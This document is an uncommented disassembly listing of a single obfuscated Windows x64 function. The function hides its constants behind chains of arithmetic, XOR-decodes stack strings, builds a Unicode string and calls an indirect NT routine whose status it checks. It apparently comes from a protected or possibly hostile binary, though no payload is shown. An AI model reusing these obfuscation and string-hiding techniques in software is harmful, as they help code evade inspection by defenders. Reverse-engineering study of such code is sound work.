lea rax, [rsp + 0x530]
mov qword [rsp + 0x228], rax
lea rax, [rsp + 0x7d0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xbb0], xmm0
mov rax, qword [rsp + 0x228]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xba0], xmm0
movdqa xmm0, xmmword [rsp + 0xba0]
pxor xmm0, xmmword [rsp + 0xbb0]
movdqa xmmword [rsp + 0xbc0], xmm0
mov rax, qword [rsp + 0x228]
movdqa xmm0, xmmword [rsp + 0xbc0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x540]
mov qword [rsp + 0x230], rax
lea rax, [rsp + 0x7e0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xbe0], xmm0
mov rax, qword [rsp + 0x230]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xbd0], xmm0
movdqa xmm0, xmmword [rsp + 0xbd0]
pxor xmm0, xmmword [rsp + 0xbe0]
movdqa xmmword [rsp + 0xbf0], xmm0
mov rax, qword [rsp + 0x230]
movdqa xmm0, xmmword [rsp + 0xbf0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0x398], rax
mov rdx, qword [rsp + 0x398]
mov rcx, qword [rsp + 0x3a0]
call fcn.14027ec45
mov qword [rsp + 0x3a8], rax
lea rdx, [0x1b1addae4]
pushf
sub rdx, 0x71a52f34
popf
mov rcx, qword [rsp + 0x3a8]
jmp 0x1403bce4c
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov byte [rsp + 0x55], 0
lea rcx, [rsp + 0x2a0]
call fcn.140307c1b
lea rcx, [rsp + 0x2f0]
call fcn.140307c1b
lea rcx, [rsp + 0x2c0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x55]
jmp 0x1403bdf36
lea rax, [rsp + 0x56]
mov rdi, rax
xor eax, eax
mov ecx, 0xb645c24a
pushf
not ecx
add ecx, 0xac398b32
xor ecx, 0xdb9ec310
rol ecx, 7
popf
pushf
not ecx
add ecx, 0xf3afe5dd
xor ecx, 0x8feca82d
rol ecx, 0x3f
popf
pushf
not ecx
add ecx, 0xbb23a0d8
xor ecx, 0xa1c0ffab
rol ecx, 0x7d
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x57]
mov rdi, rax
xor eax, eax
mov ecx, 0x6cb0704a
pushf
not ecx
add ecx, 0xa6f1e392
xor ecx, 0xfac69ab9
rol ecx, 0xb
popf
pushf
not ecx
add ecx, 0xf061e8b2
xor ecx, 0xa111f2ad
rol ecx, 0x64
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x170], al
movabs rax, 0x31811f7fd3fdf6aa
pushf
not rax
add rax, 0x51174b06
xor rax, 0x7df99337
rol rax, 0xad
popf
pushf
not rax
add rax, 0x62fbe121
xor rax, 0x41308583
rol rax, 0x85
popf
pushf
not rax
add rax, 0x4060ebca
xor rax, 0x5b23cb11
rol rax, 0x12
popf
pushf
not rax
add rax, 0x60b09e20
xor rax, 0x5aa9dc4f
rol rax, 0x9f
popf
mov qword [rsp + 0x550], rax
movabs rax, 0x66b9e0521baad671
pushf
not rax
add rax, 0x4bc2636b
xor rax, 0x4a497dd1
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x5e960d8b
xor rax, 0x63d19ae8
rol rax, 0x34
popf
mov qword [rsp + 0x558], rax
movabs rax, 0xa7d0853007830b72
pushf
not rax
add rax, 0x4ebe2f6f
xor rax, 0x7040898b
rol rax, 0x80
popf
pushf
not rax
add rax, 0x697e9773
xor rax, 0x71745d1c
rol rax, 0x5d
popf
mov qword [rsp + 0x560], rax
movabs rax, 0x69d8963893ac94a0
pushf
not rax
add rax, 0x49ba9ff3
xor rax, 0x73b92975
rol rax, 0x11
popf
pushf
not rax
add rax, 0x52a3a4e5
xor rax, 0x52b4bf24
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x4b91436d
xor rax, 0x43bf5fbc
rol rax, 0x82
popf
pushf
not rax
add rax, 0x42a79ed3
xor rax, 0x76f9cecd
rol rax, 0xa0
popf
mov qword [rsp + 0x568], rax
movabs rax, 0xc47e05a7aebdedad
pushf
not rax
add rax, 0x7f38a146
xor rax, 0x408f3fa2
rol rax, 0x9c
popf
pushf
not rax
add rax, 0x5beb1199
xor rax, 0x57f2e232
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x41a1091b
xor rax, 0x73a6ecb1
rol rax, 0xf9
popf
pushf
not rax
add rax, 0x6d3f6188
xor rax, 0x65cf18ed
rol rax, 0xa7
popf
mov qword [rsp + 0x570], rax
movabs rax, 0xc4c5cd9c40e52332
pushf
not rax
add rax, 0x6061dd33
xor rax, 0x736e3ddb
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x610a5069
xor rax, 0x464f016e
rol rax, 0x54
popf
mov qword [rsp + 0x578], rax
movabs rax, 0x7c5f2e9ab24cddea
pushf
not rax
add rax, 0x6dab69be
xor rax, 0x755deab9
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x645f57b5
xor rax, 0x4a264afd
rol rax, 0x9c
popf
mov qword [rsp + 0x580], rax
movabs rax, 0xc5b315b133c19245
pushf
not rax
add rax, 0x7ff66cf9
xor rax, 0x54eb9be0
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x6c14967a
xor rax, 0x4fe1ff37
rol rax, 0x8e
popf
mov qword [rsp + 0x588], rax
movabs rax, 0x5ceea61b2d4322f5
pushf
not rax
add rax, 0x45f5bc0d
xor rax, 0x4d5663b4
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x5ae15cfd
xor rax, 0x4699ce91
rol rax, 0xb6
popf
mov qword [rsp + 0x590], rax
movabs rax, 0x5216089ca7bf49a
pushf
not rax
add rax, 0x5b801506
xor rax, 0x456318fd
rol rax, 0xea
popf
pushf
not rax
add rax, 0x6955b929
xor rax, 0x7b5c8fb8
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x6c5239b7
xor rax, 0x70dc1110
rol rax, 3
popf
mov qword [rsp + 0x598], rax
movabs rax, 0xd9afa2e7839d6c89
pushf
not rax
add rax, 0x50013086
xor rax, 0x6a136529
rol rax, 0x88
popf
pushf
not rax
add rax, 0x4f8b73e0
xor rax, 0x5471b27d
rol rax, 0x90
popf
mov qword [rsp + 0x5a0], rax
movabs rax, 0xb9ae92aee18a3a8a
pushf
not rax
add rax, 0x66bf93e7
xor rax, 0x64024988
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x75374723
xor rax, 0x52bccc0a
rol rax, 0x11
popf
mov qword [rsp + 0x5a8], rax
movabs rax, 0xc3297c9b3f582b5f
pushf
not rax
add rax, 0x65d9fec7
xor rax, 0x52d11159
rol rax, 0x4d
popf
pushf
not rax
add rax, 0x690bf8b5
xor rax, 0x6938a516
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x599e6b07
xor rax, 0x77f64281
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x4944d4d4
xor rax, 0x65aad81e
rol rax, 0xc0
popf
mov qword [rsp + 0x5b0], rax
movabs rax, 0x3d6d91ae49f56664
pushf
not rax
add rax, 0x7d3fe347
xor rax, 0x7b5ddccc
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x67240b2f
xor rax, 0x6bdd9bec
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x64b9127d
xor rax, 0x50da2f87
rol rax, 0x8c
popf
mov qword [rsp + 0x5b8], rax
movabs rax, 0x257fc45843ef6191
pushf
not rax
add rax, 0x69f01c96
xor rax, 0x6ffc0d1c
rol rax, 0xab
popf
pushf
not rax
add rax, 0x527e7d33
xor rax, 0x446ff63e
rol rax, 0x74
popf
pushf
not rax
add rax, 0x4200ce4d
xor rax, 0x5006429f
rol rax, 0x24
popf
pushf
not rax
add rax, 0x6dc7a430
xor rax, 0x6b720e8b
rol rax, 0xe0
popf
mov qword [rsp + 0x5f0], rax
movabs rax, 0xa3edae9a763a9860
pushf
not rax
add rax, 0x7660a5bf
xor rax, 0x51c3c0a0
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x67ebdc8c
xor rax, 0x5c399638
rol rax, 0x43
popf
mov qword [rsp + 0x5f8], rax
movabs rax, 0x6915b0e3fc592ea5
pushf
not rax
add rax, 0x7f66167d
xor rax, 0x41170b82
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x77e25be4
xor rax, 0x76c5b22d
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x4b9cac78
xor rax, 0x78e1df5b
rol rax, 0xa1
popf
mov qword [rsp + 0x600], rax
movabs rax, 0x5f448d34abe7c5ec
pushf
not rax
add rax, 0x44134c30
xor rax, 0x786d7181
rol rax, 0x11
popf
pushf
not rax
add rax, 0x6eb41423
xor rax, 0x6ee200e9
rol rax, 0xc3
popf
mov qword [rsp + 0x608], rax
movabs rax, 0x58b9a8c4f3c32f14
pushf
not rax
add rax, 0x548a537c
xor rax, 0x4c85ca0f
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x56129475
xor rax, 0x618cd234
rol rax, 0x66
popf
pushf
not rax
add rax, 0x418b36d6
xor rax, 0x6ff2bef0
rol rax, 0x73
popf
pushf
not rax
add rax, 0x6a8cc2da
xor rax, 0x66c56771
rol rax, 0xef
popf
mov qword [rsp + 0x610], rax
movabs rax, 0xefb539041d4c52f5
pushf
not rax
add rax, 0x75dd4f30
xor rax, 0x432ee36c
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x53f7c5b7
xor rax, 0x4a164869
rol rax, 0x32
popf
pushf
not rax
add rax, 0x6ef689ab
xor rax, 0x6fdbd543
rol rax, 0xb7
popf
pushf
not rax
add rax, 0x5a7bb2d3
xor rax, 0x6762dc0e
rol rax, 0xbb
popf
mov qword [rsp + 0x618], rax
movabs rax, 0x96156cfbfb7a9a00
pushf
not rax
add rax, 0x777c84ef
xor rax, 0x46d36560
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x4c313c56
xor rax, 0x6f53f29c
rol rax, 0x76
popf
pushf
not rax
add rax, 0x5a705dfd
xor rax, 0x71882ff8
rol rax, 0x81
popf
mov qword [rsp + 0x620], rax
movabs rax, 0xa4b2a4b617e88fe2
pushf
not rax
add rax, 0x4e308d83
xor rax, 0x4b64b2fb
rol rax, 0x89
popf
pushf
not rax
add rax, 0x5e4bef54
xor rax, 0x72c8b671
rol rax, 0xa5
popf
mov qword [rsp + 0x628], rax
movabs rax, 0xb758ea6c7b41784a
pushf
not rax
add rax, 0x4b3a4f7a
xor rax, 0x5aac15d0
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x54dc0dcf
xor rax, 0x69900ee0
rol rax, 0xf2
popf
mov qword [rsp + 0x630], rax
movabs rax, 0x8c3c796d6492d821
pushf
not rax
add rax, 0x47662aa4
xor rax, 0x6e5c18c6
rol rax, 0x51
popf
pushf
not rax
add rax, 0x4164f8e7
xor rax, 0x6f8fd909
rol rax, 0x9e
popf
pushf
not rax
add rax, 0x4f595ad2
xor rax, 0x4e9b69ba
rol rax, 0x5c
popf
mov qword [rsp + 0x638], rax
movabs rax, 0x45fa8575d926bee
pushf
not rax
add rax, 0x60c1c620
xor rax, 0x557500fe
rol rax, 0x28
popf
pushf
not rax
add rax, 0x7fbc47ce
xor rax, 0x65bd67b5
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x7ee9d618
xor rax, 0x604f2c03
rol rax, 8
popf
pushf
not rax
add rax, 0x4b90751f
xor rax, 0x77f37404
rol rax, 0xc5
popf
mov qword [rsp + 0x640], rax
movabs rax, 0x9d0e8ea35444abea
pushf
not rax
add rax, 0x4700399e
xor rax, 0x7817a2ee
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x53543a46
xor rax, 0x6349966d
rol rax, 0x6f
popf
mov qword [rsp + 0x648], rax
movabs rax, 0xf24ef5c8b9dd5b40
pushf
not rax
add rax, 0x7d7d3f3c
xor rax, 0x776c8adf
rol rax, 0x60
popf
pushf
not rax
add rax, 0x4bfcc5af
xor rax, 0x5a51f32d
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x7415187c
xor rax, 0x627f88c5
rol rax, 0x50
popf
pushf
not rax
add rax, 0x6226b66d
xor rax, 0x49bf22fd
rol rax, 0xc0
popf
mov qword [rsp + 0x650], rax
movabs rax, 0x86238db1b282b9d6
pushf
not rax
add rax, 0x4043d4b4
xor rax, 0x4e183a52
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x513c572f
xor rax, 0x4a8324d7
rol rax, 0x33
popf
pushf
not rax
add rax, 0x693c006f
xor rax, 0x73b1b3ca
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x5a03f6bb
xor rax, 0x5dc1472c
rol rax, 0x24
popf
mov qword [rsp + 0x658], rax
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x2ab07c1c
pushf
not ecx
add ecx, 0x916eaac4
xor ecx, 0xd2270ea7
rol ecx, 0xfe
popf
pushf
not ecx
add ecx, 0xc4f4d97b
xor ecx, 0xa319b892
rol ecx, 0xb0
popf
pushf
not ecx
add ecx, 0xe6789aef
xor ecx, 0xb6eaf432
rol ecx, 0x3a
popf
pushf
not ecx
add ecx, 0x896c0785
xor ecx, 0xf5421d2c
rol ecx, 0xdc
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x178], al
movdqa xmm0, xmmword [rsp + 0x5f0]
movdqa xmmword [rsp + 0xc10], xmm0
movdqa xmm0, xmmword [rsp + 0x550]
movdqa xmmword [rsp + 0xc00], xmm0
movdqa xmm0, xmmword [rsp + 0xc00]
pxor xmm0, xmmword [rsp + 0xc10]
movdqa xmmword [rsp + 0xc20], xmm0
movdqa xmm0, xmmword [rsp + 0xc20]
movdqa xmmword [rsp + 0x550], xmm0
lea rax, [rsp + 0x560]
mov qword [rsp + 0x238], rax
lea rax, [rsp + 0x600]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc40], xmm0
mov rax, qword [rsp + 0x238]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc30], xmm0
movdqa xmm0, xmmword [rsp + 0xc30]
pxor xmm0, xmmword [rsp + 0xc40]
movdqa xmmword [rsp + 0xd70], xmm0
mov rax, qword [rsp + 0x238]
movdqa xmm0, xmmword [rsp + 0xd70]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x570]
mov qword [rsp + 0x240], rax
lea rax, [rsp + 0x610]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc70], xmm0
mov rax, qword [rsp + 0x240]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc60], xmm0
movdqa xmm0, xmmword [rsp + 0xc60]
pxor xmm0, xmmword [rsp + 0xc70]
movdqa xmmword [rsp + 0xea0], xmm0
mov rax, qword [rsp + 0x240]
movdqa xmm0, xmmword [rsp + 0xea0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x580]
mov qword [rsp + 0x248], rax
lea rax, [rsp + 0x620]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xca0], xmm0
mov rax, qword [rsp + 0x248]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc90], xmm0
movdqa xmm0, xmmword [rsp + 0xc90]
pxor xmm0, xmmword [rsp + 0xca0]
movdqa xmmword [rsp + 0xcb0], xmm0
mov rax, qword [rsp + 0x248]
movdqa xmm0, xmmword [rsp + 0xcb0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x590]
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0x630]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xcd0], xmm0
mov rax, qword [rsp + 0x250]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xcc0], xmm0
movdqa xmm0, xmmword [rsp + 0xcc0]
pxor xmm0, xmmword [rsp + 0xcd0]
movdqa xmmword [rsp + 0xce0], xmm0
mov rax, qword [rsp + 0x250]
movdqa xmm0, xmmword [rsp + 0xce0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x258], rax
lea rax, [rsp + 0x640]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd00], xmm0
mov rax, qword [rsp + 0x258]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xcf0], xmm0
movdqa xmm0, xmmword [rsp + 0xcf0]
pxor xmm0, xmmword [rsp + 0xd00]
movdqa xmmword [rsp + 0xd10], xmm0
mov rax, qword [rsp + 0x258]
movdqa xmm0, xmmword [rsp + 0xd10]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x5b0]
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x650]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd30], xmm0
mov rax, qword [rsp + 0x260]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xd20], xmm0
movdqa xmm0, xmmword [rsp + 0xd20]
pxor xmm0, xmmword [rsp + 0xd30]
movdqa xmmword [rsp + 0xd40], xmm0
mov rax, qword [rsp + 0x260]
movdqa xmm0, xmmword [rsp + 0xd40]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x550]
lea r8, [rsp + 0x2c0]
mov rdx, rax
lea rcx, [rsp + 0xdf0]
call fcn.14037b9ee
lea rax, [rsp + 0xdf0]
mov rcx, rax
call fcn.1403926a1
mov rdx, rax
lea rcx, [rsp + 0xd50]
call sub.ntdll.dll_RtlInitUnicodeString
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x3b8], rax
lea rcx, [rsp + 0xd50]
jmp 0x1403bdc47
call qword [rsp + 0x3b8]
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0xc000010e
jne 0x1403bdcb5
push rax
pushf
mov eax, 0x8790ece6
pushf
not eax
add eax, 0xa631d774
xor eax, 0xad20994c
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x8bd77439
xor eax, 0x963a476e
rol eax, 0x70
popf
pushf
not eax
add eax, 0xdec243c7
xor eax, 0xe5cb5200
rol eax, 0x60
popf
pushf
not eax
add eax, 0xf318011d
xor eax, 0xd961bb45
rol eax, 0xb0
popf
jmp 0x1403b84f0
push rax
pushf
mov eax, 0x4256933e
pushf
not eax
add eax, 0xb3cdce77
xor eax, 0xdb197dd4
rol eax, 0x38
popf
pushf
not eax
add eax, 0x8971bad5
xor eax, 0x9cc77c8e
rol eax, 0x76
popf
jmp 0x1403b84f0
mov byte [rsp + 0x59], 1
lea rcx, [rsp + 0xdf0]
call fcn.140307c1b
lea rcx, [rsp + 0x2a0]
call fcn.140307c1b
lea rcx, [rsp + 0x2f0]
call fcn.140307c1b
lea rcx, [rsp + 0x2c0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x59]
jmp 0x1403bdf36
cmp dword [rsp + 0x60], 0
jl 0x1403bddbe
push rax
pushf
mov eax, 0x97342
pushf
not eax
add eax, 0xd91b0607
xor eax, 0xe9785470
rol eax, 0x35
popf
pushf
not eax
add eax, 0xb290fd05
xor eax, 0xde0bcfca
rol eax, 0x22
popf
pushf
not eax
add eax, 0xafa7578c
xor eax, 0xa7a2d1f3
rol eax, 0xf9
popf
jmp 0x1403b84f0
push rax
pushf
mov eax, 0x85c86926
pushf
not eax
add eax, 0x93e383a2
xor eax, 0xe8d9aff2
rol eax, 0x64
popf
pushf
not eax
add eax, 0xca81fd47
xor eax, 0xca6ffbd9
rol eax, 0x21
popf
pushf
not eax
add eax, 0xd7d90f76
xor eax, 0xd7ec3443
rol eax, 0x76
popf
pushf
not eax
add eax, 0xbdd1dfa1
xor eax, 0xf973bd07
rol eax, 0xa5
popf
jmp 0x1403b84f0
mov dword [rsp + 0x190], 1
jmp 0x1403bdebe
mov dword [rsp + 0x190], 0
push rax
pushf
mov eax, 0xbc9134e4
pushf
not eax
add eax, 0xa5926ae8
xor eax, 0x8b3187d0
rol eax, 0x50
popf
pushf
not eax
add eax, 0x890dd4b4
xor eax, 0xa53a68e1
rol eax, 0x34
popf
pushf
not eax
add eax, 0xe9b10875
xor eax, 0x9d6a4cb5
rol eax, 0xab
popf
pushf
not eax
add eax, 0xe2aa2fb4
xor eax, 0xc58380bc
rol eax, 0x15
popf
jmp 0x1403b84f0
movzx eax, byte [rsp + 0x190]
mov byte [rsp + 0x5a], al
lea rcx, [rsp + 0xdf0]
call fcn.140307c1b
lea rcx, [rsp + 0x2a0]
call fcn.140307c1b
lea rcx, [rsp + 0x2f0]
call fcn.140307c1b
lea rcx, [rsp + 0x2c0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x5a]
push rax
pushf
mov eax, 0xf8fb09de
pushf
not eax
add eax, 0x8305a782
xor eax, 0x9389ce67
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xcfcddfe9
xor eax, 0xbf01c54a
rol eax, 0xe8
popf
jmp 0x1403b84f0
add rsp, 0xeb0
pop rdi
ret